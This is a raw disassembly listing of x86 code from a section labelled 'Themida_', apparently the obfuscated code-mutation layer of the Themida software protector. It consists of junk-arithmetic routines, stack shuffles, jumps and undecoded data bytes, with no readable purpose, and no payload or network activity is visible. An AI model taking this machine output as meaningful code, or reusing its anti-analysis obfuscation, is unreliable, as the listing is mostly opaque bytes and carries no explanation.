		dd 84467B9h, 0E089502Ch, 405h, 4E88300h, 0E9240487h, 59E5h
; ---------------------------------------------------------------------------

loc_569F08:				; CODE XREF: Themida_:0056DF4Fj
		neg	ebp
		jmp	loc_56F7B3
; ---------------------------------------------------------------------------
		db 0FFh
a4S		db '4$]И*|',0
		align 4

loc_569F18:				; CODE XREF: Themida_:0056DA98j
		sub	esp, 2
		mov	[esp], ax
		mov	ah, 6Bh
		add	bl, ah
		pop	ax
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	4903h
		mov	[esp], ecx
		mov	ecx, 34AF2438h
		xor	[esp+4], ecx
		mov	ecx, [esp]
		push	ebx
		push	esp
		pop	ebx
		push	ebp
		jmp	loc_56654F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 89662424h, 50662414h, 3913E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569F5A:				; CODE XREF: Themida_:00563A50j
		shl	esi, 1
		shr	esi, 1
		jmp	loc_568922
; ---------------------------------------------------------------------------
		db 0B0h
		dd 53C0FE30h, 0E7D0B7B7h, 57B15166h, 0D8C780h, 0B55166CFh
		dd 66EF28D8h, 0E9596659h, 0FFFFAE5Ch, 4C581h, 0B6E90000h
		db 7Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_569F8F:				; CODE XREF: Themida_:0055F45Fj
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55D86D
; ---------------------------------------------------------------------------
		db 81h,	0C6h, 4
		dd 81000000h, 4EEh, 24348700h, 2E3FE95Ch, 0DEF70000h, 53D5C681h
		dd 0CE815913h, 4000514Fh, 27F6814Eh, 81D724C7h,	985B85EFh
		dd 51F72967h, 985B85B9h, 59CF0167h, 0FF6B51E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_569FE5:				; CODE XREF: Themida_:0055E2BFj
		sub	[esp+4], esi
		pop	esi
		pop	edi
		add	edi, 5D84553h
		mov	ecx, [esp]
		add	esp, 4
		add	esi, edi
		jmp	loc_5616C0
; ---------------------------------------------------------------------------

loc_569FFE:				; CODE XREF: Themida_:00569680j
		sub	bl, 0Fh
		jmp	loc_56138A
; ---------------------------------------------------------------------------

loc_56A006:				; CODE XREF: Themida_:0056BC6Ej
		sub	edx, eax
		pop	eax
		jmp	loc_56530A
; ---------------------------------------------------------------------------

loc_56A00E:				; CODE XREF: Themida_:0055FB75j
		and	eax, ebp
		pop	ebp
		or	eax, eax
		jz	loc_563252
		push	dword ptr [edi+1Ch]
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		push	esp
		pop	edx
		add	edx, 4
		push	3899h
		mov	[esp], ebx
		mov	ebx, 4
		add	edx, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_56AFC5
; ---------------------------------------------------------------------------

loc_56A04E:				; CODE XREF: Themida_:0056B22Bj
		mov	edx, 4
		jmp	loc_56DD72
; ---------------------------------------------------------------------------
		dd 459AE981h, 0D9F77804h, 0F266BB53h, 0C1811194h, 68C527ADh
		dd 0E981D929h, 68C527ADh, 0DFEA815Bh, 8120A563h, 8911EBC2h
		dd 51CA0164h, 0F4029DB9h, 0E9D9F72Eh, 0FFFFBDA7h
; ---------------------------------------------------------------------------

loc_56A090:				; CODE XREF: Themida_:0056352Fj
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_568C99
; ---------------------------------------------------------------------------

loc_56A09E:				; CODE XREF: Themida_:00566225j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	edi
		mov	edi, 0FFFFFFFFh
		jmp	loc_566C6C
; ---------------------------------------------------------------------------

loc_56A0BB:				; CODE XREF: Themida_:00567122j
		mov	ebx, 1B53E9Eh
		mov	edi, ebx
		jmp	loc_56BC93
; ---------------------------------------------------------------------------

loc_56A0C7:				; CODE XREF: Themida_:00568217j
		add	eax, 72AA716Ah
		dec	eax
		shr	eax, 6
		push	ebx
		mov	ebx, 3AD799h
		jmp	loc_564DC2
; ---------------------------------------------------------------------------

loc_56A0DB:				; CODE XREF: Themida_:005648EEj
		mov	esi, 117B161Ah
		sub	ebx, 425470E3h
		add	ebx, esi
		add	ebx, 425470E3h
		push	dword ptr [esp]
		jmp	loc_55E4BD
; ---------------------------------------------------------------------------

loc_56A0F6:				; CODE XREF: Themida_:0056175Fj
		pop	ebx
		add	esp, 4
		push	2D2h
		jmp	loc_55F5AE
; ---------------------------------------------------------------------------
		db 80h
		dd 285869EFh, 5CB9E9C7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A112:				; CODE XREF: Themida_:005660DFj
		push	edi
		neg	dword ptr [esp]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5620AD
; ---------------------------------------------------------------------------
		dd 52DBF659h, 0D6F64EB6h, 8652C6FEh, 0FE01245Ch, 0E61DE9CBh
		dd 0B753FFFFh, 5EFC077h, 8007E7C0h, 85E907F7h, 28FFFFC4h
		dd 240C8BCBh, 4C481h, 0EC830000h, 24348904h, 794CE9h
		db 0
; ---------------------------------------------------------------------------

loc_56A161:				; CODE XREF: Themida_:0056868Dj
		add	esp, 4
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_56149A
; ---------------------------------------------------------------------------
		db 1, 0FAh, 0E9h
		dd 0FFFFC57Ch, 0BD55C631h, 0
		dd 0FF56CFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A185:				; CODE XREF: Themida_:0055E0EDj
		push	dword ptr [esp]
		jmp	loc_56E308
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 778668h, 241C8900h, 4EC81h, 71E90000h, 8B000072h, 0C4832404h
		dd 66EB2804h, 0E9240C8Bh, 0FFFFCEB6h, 0D10603BDh, 0B5EE8100h
		dd 294AA717h, 0B5C681EEh, 0E94AA717h, 37Eh, 246C015Ah
		dd 24448104h, 80182504h, 242C8B44h, 4C481h, 0CE90000h
		db 0AAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A1E7:				; CODE XREF: Themida_:0056E12Cj
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		jmp	loc_55DFB5
; ---------------------------------------------------------------------------
		dw 805Bh
		dd 0B0E9B5F7h, 81FFFFF3h, 4C3h,	0B745E900h, 0C581FFFFh
		dd 0D3FA674Fh, 2C8BEB29h, 4EC8124h, 89000000h, 0E0892404h
		dd 405h, 40500h, 4870000h, 3C75C24h, 0
aAaS		db '[a²цИм$',0
		dd 40485800h, 23605635h, 6C45E94Bh, 0E94BFFFFh,	7BB2h
		dd 0E9240C8Bh, 0FFFFF431h, 592434FFh, 0FF7FF6E9h, 24048BFFh
		dd 5204C483h, 39EDE9h
		db 0
; ---------------------------------------------------------------------------

loc_56A275:				; CODE XREF: Themida_:0056BFE8j
		mov	ebp, 6157267Bh
		add	ebp, 36101968h
		neg	ebp
		shl	ebp, 5
		push	ecx
		mov	ecx, 9F348FAFh
		add	ebp, ecx
		jmp	loc_562C0D
; ---------------------------------------------------------------------------

loc_56A292:				; CODE XREF: Themida_:0056EAA3j
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		push	64EDh
		mov	[esp], edi
		push	ecx
		jmp	loc_570E03
; ---------------------------------------------------------------------------
		dw 25B5h
		dd 1E5668h, 241C8900h, 4A3068h,	18AEE900h, 0E95B0000h
		dd 0FFFF8A92h
; ---------------------------------------------------------------------------

loc_56A2C4:				; CODE XREF: Themida_:00569639j
		push	7C95h
		mov	[esp], esi
		jmp	loc_5702BD
; ---------------------------------------------------------------------------
		db 33h,	14h, 24h
		dd 0E9241431h, 0FFFFDC7Bh, 263BC381h, 348B0669h, 0FE95224h
		dd 80FFFFC4h, 0FE581DEAh, 0FED2F6CAh, 6638E9CAh, 8158FFFFh
		dd 4C4h, 2BF5700h, 0E9000000h, 11Dh, 68242C89h,	16Ch, 89241489h
		dd 6D3868E2h, 1C890000h, 69EEE924h, 0E381FFFFh,	5E035865h
		dd 0FFB6BDE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A331:				; CODE XREF: Themida_:00562A09j
		sub	esi, 0EF71BFFAh
		xor	ecx, esi
		pop	esi
		jmp	loc_5675CF
; ---------------------------------------------------------------------------
aKqh		db 'KQh`$',0
		align 2
		dw 3489h
		dd 6CDEBE24h, 0F1895062h, 0FFCC23E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A355:				; CODE XREF: Themida_:0056EF0Ej
		xchg	ebp, [esp]
		jmp	loc_568893
; ---------------------------------------------------------------------------
		db 31h,	0F1h, 0E9h
		dd 0FFFFA218h
; ---------------------------------------------------------------------------

loc_56A364:				; CODE XREF: Themida_:0056074Dj
		push	esi
		jmp	loc_56FD7B
; ---------------------------------------------------------------------------

loc_56A36A:				; CODE XREF: Themida_:00566CFFj
		pop	ebp
		sub	[edi+24h], ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_57183E
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 81E38953h, 4C3h, 7935E900h, 0E959FFFFh, 0FFFFBA49h
; ---------------------------------------------------------------------------

loc_56A390:				; CODE XREF: Themida_:00562C1Ej
		add	ebx, ebp
		pop	ebp
		xor	eax, ebx
		jmp	loc_5670FD
; ---------------------------------------------------------------------------

loc_56A39A:				; CODE XREF: Themida_:00566FEDj
		add	dh, ch
		jmp	loc_568FF2
; ---------------------------------------------------------------------------
		db 0BBh, 2 dup(0)
		dd 0B680000h, 89000028h, 17BA2414h, 8104BC4Ah, 346C9FCAh
		dd 5FCA8131h, 811D0340h, 6B4AF5F2h, 5AD30160h, 0EB81D301h
		dd 5DD4242Ah, 0F6E90303h, 80FFFF34h, 0F4808EF4h, 58E18824h
		dd 0FFDB9FE9h, 89F989FFh, 295F59CDh, 8B04246Ch,	0C481242Ch
		dd 4, 68240401h, 4F45h,	0FFF47EE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A405:				; CODE XREF: Themida_:0056BC29j
		shr	esi, 1
		and	esi, 1297940h
		jmp	loc_56C955
; ---------------------------------------------------------------------------

loc_56A412:				; CODE XREF: Themida_:0055DE2Aj
		sub	edx, 434C2FF9h
		add	edx, 6DB024F7h
		push	eax
		mov	eax, 5A6120C8h
		jmp	loc_567918
; ---------------------------------------------------------------------------
		db 81h,	0EDh, 5
		dd 297FD841h, 5BF57FDh,	17FD841h, 34FF5FFDh, 69B8E924h
		dd 685B0000h, 792Bh, 0BD242C89h, 601233B2h, 70E7E9h, 4E1C000h
		dd 36AD68h, 240C8900h, 8B2414F6h, 0C481240Ch, 4, 80AEB252h
		dd 0EC81B8EAh, 4, 0B4240489h, 0BCDAE983h, 4481FFFFh, 29E80424h
		dd 348B5BA7h, 5DBAE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A492:				; CODE XREF: Themida_:0056EC7Bj
		sub	ebp, 428668BDh
		sub	esp, 4
		mov	[esp], esi
		jmp	loc_570E57
; ---------------------------------------------------------------------------

loc_56A4A3:				; CODE XREF: Themida_:0056DEDEj
		xor	edx, esi
		not	esi
		xchg	esi, edx
		add	edx, 1
		sub	edx, 0FFFFFFFFh
		push	1010h
		jmp	loc_5680EC
; ---------------------------------------------------------------------------

loc_56A4B9:				; CODE XREF: Themida_:0056D925j
		dec	ebp
		jmp	loc_566D04
; ---------------------------------------------------------------------------

loc_56A4BF:				; CODE XREF: Themida_:0056FBEBj
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 4
		sub	edx, ebp
		pop	ebp
		xchg	edx, [esp]
		pop	esp
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_55E1AD
; ---------------------------------------------------------------------------
		db 87h
		dd 895C2404h, 0EC832414h, 24248904h, 4240483h, 0E92434FFh
		dd 1BF2h, 0FD5DEF01h, 136BE9h, 2434FF00h, 6587E9h
		db 0
; ---------------------------------------------------------------------------

loc_56A511:				; CODE XREF: Themida_:005648C1j
		push	496Ch
		mov	[esp], ecx
		push	ebx
		push	2748740Bh
		jmp	loc_56232C
; ---------------------------------------------------------------------------

loc_56A524:				; CODE XREF: Themida_:0056A9EBj
		pop	ebp
		add	esi, 4
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_568BAA
; ---------------------------------------------------------------------------
aUhes		db 'UhES*',0
		dd 0EBBF575Dh, 1799E7Eh, 0F8F6E9F8h, 0E95DFFFFh, 0FFFF52C7h
		dd 4C481h, 0BF570000h, 4, 535FF901h, 0FF70C0E9h, 0E9C15DFFh
		dd 5C9CE903h, 0EC830000h, 241C8904h, 0FFEFE5E9h, 0D831ADFFh
		dd 364A68h, 24148900h, 0FFDC93E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A589:				; CODE XREF: Themida_:00562307j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		push	dword ptr [esp]
		pop	esi
		jmp	loc_56448E
; ---------------------------------------------------------------------------
		dd 5BB8505Bh, 2D508A05h, 55E701Fh, 0BD2DD8F7h, 31712716h
		dd 0BF5958C3h, 9232673h, 7C4CBB53h, 4B4B7B07h, 0FFFC85E9h
		dd 1C77FFFFh, 6658669Dh, 9C240419h, 27E4E9h, 5E5C100h
		dd 5153BA52h, 74E90BFDh, 89FFFFC3h, 0E389241Ch,	4C381h
		dd 0C3830000h, 241C8704h, 4C3815Ch, 0E9000000h,	6CDDh
; ---------------------------------------------------------------------------

loc_56A608:				; CODE XREF: Themida_:0056BA40j
		push	edx
		mov	edx, esi
		mov	ecx, edx
		pop	edx
		pop	esi
		jmp	loc_5623C5
; ---------------------------------------------------------------------------
		dd 0E9240489h, 7B88h, 33243C31h, 248B243Ch, 24248924h
		dd 4240481h, 8B000000h,	0C4812404h, 4, 0FF8BF8E9h, 0C8F381FFh
		dd 0E91F6F4Dh, 0FFFF79C6h, 0E9240C8Bh, 4C1Eh, 0F624248Bh
		dd 0B60F66F9h, 8CC4E9CCh, 7A68FFFFh, 8900004Dh,	77BF243Ch
		dd 13A5719h, 0CE015FF9h, 24348759h, 0FFDDDEE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A679:				; CODE XREF: Themida_:0056C396j
		xchg	ebp, [esp]
		pop	esp
		push	687Ah
		jmp	loc_56D908
; ---------------------------------------------------------------------------
		db 83h
		dd 248904ECh, 24048324h, 24348B04h, 0FF9692E9h,	0C8966FFh
		dd 31CBE924h, 15BFFFFh,	3228E9E9h, 0BEE90000h, 0BEFFFF31h
		dd 626401D6h, 348BF229h, 0B72E924h, 0C330000h, 240C3124h
		dd 8B240C33h, 89662424h, 0BB5240Ch, 0E92DEB80h,	0FFFF8A36h
; ---------------------------------------------------------------------------

loc_56A6D8:				; CODE XREF: Themida_:0056F1D0j
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		shr	ecx, 0Ah
		push	esi
		jmp	loc_56441A
; ---------------------------------------------------------------------------
		dd 148BD189h, 0E0895024h, 0FFB780E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A6F5:				; CODE XREF: Themida_:0055DAE2j
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		push	eax
		push	esp
		pop	eax
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		push	esp
		pop	esi
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		mov	[esp], ebp
		mov	ebp, 4
		sub	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	ebx
		jmp	loc_568DD9
; ---------------------------------------------------------------------------
		dd 0AA5A18BBh, 41B6E942h, 22E9FFFFh, 8FFFFF31h,	248B2404h
		dd 240CD324h, 3113E99Ch, 6852FFFFh, 2517B2A7h, 0E9D6015Ah
		dd 0FFFF60ABh, 0BF76E959h, 0D029FFFFh, 8324148Bh, 3C2D04C4h
		dd 0E9030F3Ch, 3F9Eh, 5669E968h, 28EBE962h, 0F5890000h
		dd 0FF5882E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56A791:				; CODE XREF: Themida_:00560FA0j
		push	10E8h
		mov	[esp], edi
		push	7527h
		jmp	loc_565587
; ---------------------------------------------------------------------------
		db 0BEh
		dd 6E9A1823h, 0FF766AE9h, 54515EFFh, 4C18159h, 83000000h
		dd 0C3304C1h, 240C3124h, 5C240C33h, 73F46850h, 0E95867FDh
		dd 0FFFF3732h
; ---------------------------------------------------------------------------

loc_56A7D0:				; CODE XREF: Themida_:0056D9F1j
		mov	edx, 0C55F34C6h
		sub	edx, ecx
		pop	ecx
		add	eax, 31281C5Fh
		jmp	loc_571462
; ---------------------------------------------------------------------------

loc_56A7E2:				; CODE XREF: Themida_:005718EBj
		pop	esp
		mov	[esp], esi
		jmp	loc_561D5E
; ---------------------------------------------------------------------------
		db 83h
		dd 0BEE904C4h
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56A7F3:				; CODE XREF: Themida_:00569923j
		pop	esi
		add	ebp, 4
		jmp	loc_56E2FD
; ---------------------------------------------------------------------------

loc_56A7FC:				; CODE XREF: Themida_:005713DCj
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		push	1BA5h
		mov	[esp], eax
		push	ebp
		mov	ebp, 421C0656h
		inc	ebp
		push	edx
		mov	edx, 180955D3h
		add	ebp, edx
		pop	edx
		add	ebp, 6B0626A0h
		add	ebp, 3AD47D38h
		mov	eax, ebp
		pop	ebp
		jmp	loc_5658EF
; ---------------------------------------------------------------------------

loc_56A832:				; CODE XREF: Themida_:005690E0j
		mov	edx, 4
		add	ecx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_564777
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 4C78100h, 87000000h, 248B243Ch, 242C8724h, 0FFF6EAE9h
		dd 240C87FFh, 824248Bh,	0E99C2404h, 0FFFF2FFDh,	8904EC83h
		dd 68512404h, 31FA432Fh, 83240C8Bh, 0E18104C4h,	2A0F72FBh
		dd 6C61F181h, 815152E4h, 3D4D242Ch, 55823E6h, 23E63D4Dh
		dd 4E0C159h, 0FF5F10E9h, 0C48159FFh, 4,	6F9DE9h, 4EC8100h
		dd 89000000h, 0E6892434h, 3CBA68h, 242C8900h, 4BDh, 5DEE0100h
		dd 8704EE83h, 50E92434h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A8D7:				; CODE XREF: Themida_:0056B4B3j
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_55E4E0
; ---------------------------------------------------------------------------
a13LHC		db '1<$3<$▀$$h╟c',0
		dw 8900h
		dd 0BF57242Ch, 64552B44h, 0FADFE951h, 0E952FFFFh, 9AFh
		dd 4EC81h, 4890000h, 0E70E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56A91A:				; CODE XREF: Themida_:005638BDj
		push	edx
		jmp	loc_56F1EC
; ---------------------------------------------------------------------------

loc_56A920:				; CODE XREF: Themida_:0056C5B9j
		add	dh, 96h
		push	ebx
		mov	bl, 0B0h
		sub	al, bl
		pop	ebx
		sub	al, 50h
		sub	al, dh
		jmp	loc_56CBC8
; ---------------------------------------------------------------------------
		dw 0D1F7h
		dd 28DCF181h, 0C18166B6h, 3C93805h, 0C8BCB29h, 4C48324h
		dd 8B4BE953h, 5258FFFFh, 135CBDBAh, 7BF7E95Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56A95A:				; CODE XREF: Themida_:00562A97j
		mov	[esp], esi
		push	3E53257h
		pop	esi
		shl	esi, 7
		jmp	loc_56F72D
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 6721h, 5CFBBD55h, 0EE297A42h, 34335D5Dh
		dd 24343124h, 5C243433h, 235EE9h
		db 0
; ---------------------------------------------------------------------------

loc_56A98D:				; CODE XREF: Themida_:00569477j
		xor	[esp], esi
		pop	ebp
		push	esi
		sub	esp, 4
		mov	[esp], ebp
		pop	esi
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		xor	eax, esi
		xor	esi, eax
		jmp	loc_569569
; ---------------------------------------------------------------------------

loc_56A9AC:				; CODE XREF: Themida_:0056E568j
		sub	edx, 3D1A4F4Eh
		add	eax, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	edi, [esp]
		push	esi
		push	1F66h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	esi
		push	ebp
		mov	ebp, 78B864DCh
		push	ebp
		not	dword ptr [esp]
		pop	ebp
		xor	ebp, 87479B27h
		add	esi, ebp
		jmp	loc_56A524
; ---------------------------------------------------------------------------

loc_56A9F0:				; CODE XREF: Themida_:00571111j
		dec	dword ptr [esp]
		pop	ebx
		push	edi
		jmp	loc_563B99
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 5452240Ch, 4C2815Ah,	68000000h, 7FBAh, 51240489h, 0C0175CB9h
		dd 8BC88903h, 0C483240Ch, 35C2E904h, 0C7810000h, 99C181A0h
		dd 0E4E9DFF7h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56AA2F:				; CODE XREF: Themida_:005686FBj
		push	ebx
		mov	bh, 0E6h
		jmp	loc_56177C
; ---------------------------------------------------------------------------
		db 81h
		dd 4ECh, 243C8900h, 0FF312DE9h,	3385BBFFh, 0DF3194F6h
		dd 42B9E9h, 4875900h, 6B4BE924h, 0C1FE0000h, 0FFE99DE9h
		dd 4C481FFh, 81000000h,	23780FEDh, 8C4AE972h, 0BB53FFFFh
		dd 75484780h, 64A368h, 24148900h, 2632D8BAh, 2454293Ch
		dd 2434FF08h, 49DFE9h, 0BBB95100h, 686B7368h, 2925h, 0BA241489h
		dd 34A07D0Dh, 5C8CF281h, 0C1815265h, 600D4FE7h,	0E981D101h
		dd 600D4FE7h, 0FFAB99E9h, 24248BFFh, 3724E9h, 56E95900h
		db 7Ch,	2 dup(0)
; ---------------------------------------------------------------------------

loc_56AACB:				; CODE XREF: Themida_:00568BA5j
		pop	ebp
		jmp	loc_55DAD8
; ---------------------------------------------------------------------------
		db 81h,	0C5h, 8
		dd 0E9100937h, 0FFFFC7CEh
; ---------------------------------------------------------------------------

loc_56AADC:				; CODE XREF: Themida_:0055FBAFj
		and	eax, esi
		jmp	loc_56E880
; ---------------------------------------------------------------------------
		db 0BFh
		dd 56975B3Bh, 0E781D7F7h, 41DA4E62h, 4565C781h,	0E7814215h
		dd 4B563B41h, 129CE9h
		db 0
; ---------------------------------------------------------------------------

loc_56AB01:				; CODE XREF: Themida_:00560A33j
		push	ebp
		push	ebx
		jmp	loc_55DC11
; ---------------------------------------------------------------------------
		dd 48BC701h, 4C48124h, 0E9000000h, 0FFFFF0A9h
; ---------------------------------------------------------------------------

loc_56AB18:				; CODE XREF: Themida_:005690E8j
		push	ebp
		mov	ebp, 0E6C1601h
		jmp	loc_5694CC
; ---------------------------------------------------------------------------
		db 5Fh
		dd 55DE829h, 17304A37h,	4EC81h,	14890000h, 41E66824h, 34890000h
		dd 71426824h, 33E949DCh
		db 50h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AB47:				; CODE XREF: Themida_:00564ED1j
		add	esp, 4
		mov	eax, esi
		mov	esi, [esp]
		push	edi
		mov	edi, esp
		sub	esp, 4
		mov	[esp], esi
		push	ecx
		mov	ecx, 4BC17352h
		jmp	loc_55FA66
; ---------------------------------------------------------------------------
		db 1, 0E8h, 5Dh
		dd 0FF7F38E9h, 8BF301FFh, 0C4812434h, 4, 0FF8DC0E9h, 2434FFFFh
		dd 0E92434FFh, 0FFFFFD19h, 50242C8Bh, 405E089h,	83000000h
		dd 48704C0h, 3C335C24h,	243C3124h, 8B243C33h, 4892424h
		dd 2CBBE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56ABB2:				; CODE XREF: Themida_:0055F0F2j
		xor	eax, ebx
		pop	ebx
		and	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 4D5C0113h
		jmp	loc_56F570
; ---------------------------------------------------------------------------
aLHh1		db '▀$$hH1',0
		dw 8900h
		dd 5E542434h, 8904EC83h, 0BF57240Ch, 2E4E52C6h,	0D5F78147h
		dd 816B6932h, 27600EEFh, 495BE945h, 0C328FFFFh,	7EE68h
		dd 240C8900h, 0F580F2B5h, 94E58020h, 0F580DDF6h, 68F268B0h
		dd 14890000h, 8010B624h, 0E68069E6h, 41EE8016h,	5AF528h
		dd 240C8BEBh, 8004C483h, 0EC81C3EBh, 4,	0B1240C89h, 80F180EEh
		dd 14F65166h, 0A6B0E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AC3E:				; CODE XREF: Themida_:0055E7DBj
		push	edx
		jmp	loc_5677B8
; ---------------------------------------------------------------------------
		dd 9827A70Dh, 0CC5E939h, 88B00000h, 0C8FE4834h,	23E9C8FEh
		dd 81FFFFDEh, 4C3h, 4EC8100h, 89000000h, 0BFE9240Ch, 2DFFFFEFh
		dd 74E32866h, 6853565Fh, 3F310EB4h, 4E11E9h, 2434FF00h
		dd 0FFAC93E9h, 30C681FFh, 5857F86h, 32161F4Ah, 4A2DF029h
		dd 0FF32161Fh, 0E95E2434h, 2341h, 0AC08E950h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56ACAA:				; CODE XREF: Themida_:0056D565j
		pop	edx
		mov	esi, [esp]
		push	4B8Eh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		jmp	loc_562D66
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 10986824h, 3C890000h, 5575BF24h, 0F7811CAEh,	4CB37F5Ah
		dd 2A48F781h, 0EF81415Fh, 432F7A9Fh, 8904EC83h,	84BB241Ch
		dd 52104C1Ch, 9521D2BAh, 5AD3213Fh, 89E38143h, 815C0269h
		dd 8A457AC3h, 453AE957h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AD16:				; CODE XREF: Themida_:00569821j
		add	edx, 46A87B2Ah
		add	edx, ebx
		sub	edx, 46A87B2Ah
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		jmp	loc_56724C
; ---------------------------------------------------------------------------

loc_56AD3E:				; CODE XREF: Themida_:005690D2j
		pop	ecx
		and	edx, 4DC01782h
		sub	edx, 5507043Eh
		push	ebx
		push	5983490Ah
		pop	ebx
		jmp	loc_5652BC
; ---------------------------------------------------------------------------
		db 59h
		dd 5708E9C1h, 2B25B8BFh, 4FC78110h, 0E9407A29h,	3801h
		dd 2A7068h, 24148900h, 904558BAh, 5AD52936h, 0F387DD87h
		dd 0F387D6F7h, 5B5D5355h, 874AD587h, 95CFE9D5h,	535EFFFFh
		dd 1D8F68h, 24048900h, 0EC7DC668h, 0C498E90Ah, 0C101FFFFh
		dd 4C18358h, 8B240C87h,	0C8682424h, 89000043h, 0E789243Ch
		dd 4C781h, 7BE90000h, 89FFFF6Dh, 5F682414h, 89000020h
		dd 0DAE92424h
		db 0FAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56ADD7:				; CODE XREF: Themida_:00565C54j
		mov	[esp], esi
		jmp	loc_5669D0
; ---------------------------------------------------------------------------
aQissfq		db 'Q┴АИ■Q',0
		db 0
; ---------------------------------------------------------------------------

loc_56ADE7:				; CODE XREF: Themida_:0056FF0Ej
		neg	esi
		or	esi, 4FA4513Eh
		sub	esi, 674EBh
		or	ebp, esi
		pop	esi
		push	esi
		mov	esi, 29D34B16h
		shl	esi, 2
		or	esi, 9E669D8h
		xor	esi, 0A4C740C7h
		xor	ebp, esi
		jmp	loc_568DFC
; ---------------------------------------------------------------------------
		dd 240C8B66h, 5AC068h, 24148900h, 4EC81h, 24890000h, 4BB5324h
		dd 1000000h, 5B04245Ch,	5A2434FFh, 81E68956h, 4C6h, 4C68100h
		dd 33000000h, 34312434h, 24343324h, 4C2815Ch, 81000000h
		dd 2C2h, 18DC6800h, 14890000h, 2474FF24h, 48F5A04h, 24248B24h
		dd 7D5A68h, 240C8900h, 1251E9h,	2671B900h, 0EC830923h
		dd 240C8904h, 7243481h,	0E943AD54h, 0FFFFF710h,	4CB0CD81h
		dd 0F5817791h, 51E5678h, 24CCF581h, 57E9F03Bh, 81000073h
		dd 4C6h, 875DE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56AEB6:				; CODE XREF: Themida_:0056B14Cj
		mov	ecx, esp
		jmp	loc_564617
; ---------------------------------------------------------------------------
		db 0C1h, 0E6h, 2
		dd 683BF681h, 0E95722A9h, 0FFFF51FCh, 52D830ACh, 0FF5464E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56AED5:				; CODE XREF: Themida_:0056FB97j
		push	edi
		mov	edi, 56A50ECCh
		jmp	loc_55F723
; ---------------------------------------------------------------------------

loc_56AEE0:				; CODE XREF: Themida_:0056BC1Ej
		xor	dword ptr [ecx], 0B2BCF87Dh
		mov	ecx, [esp]
		jmp	loc_563291
; ---------------------------------------------------------------------------
		dw 0BFh
		dd 29174240h, 243C8BFBh, 815E5456h, 4C6h, 4C68300h, 0E9243487h
		dd 2279h, 4BA52h, 0C6E90000h
		db 39h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

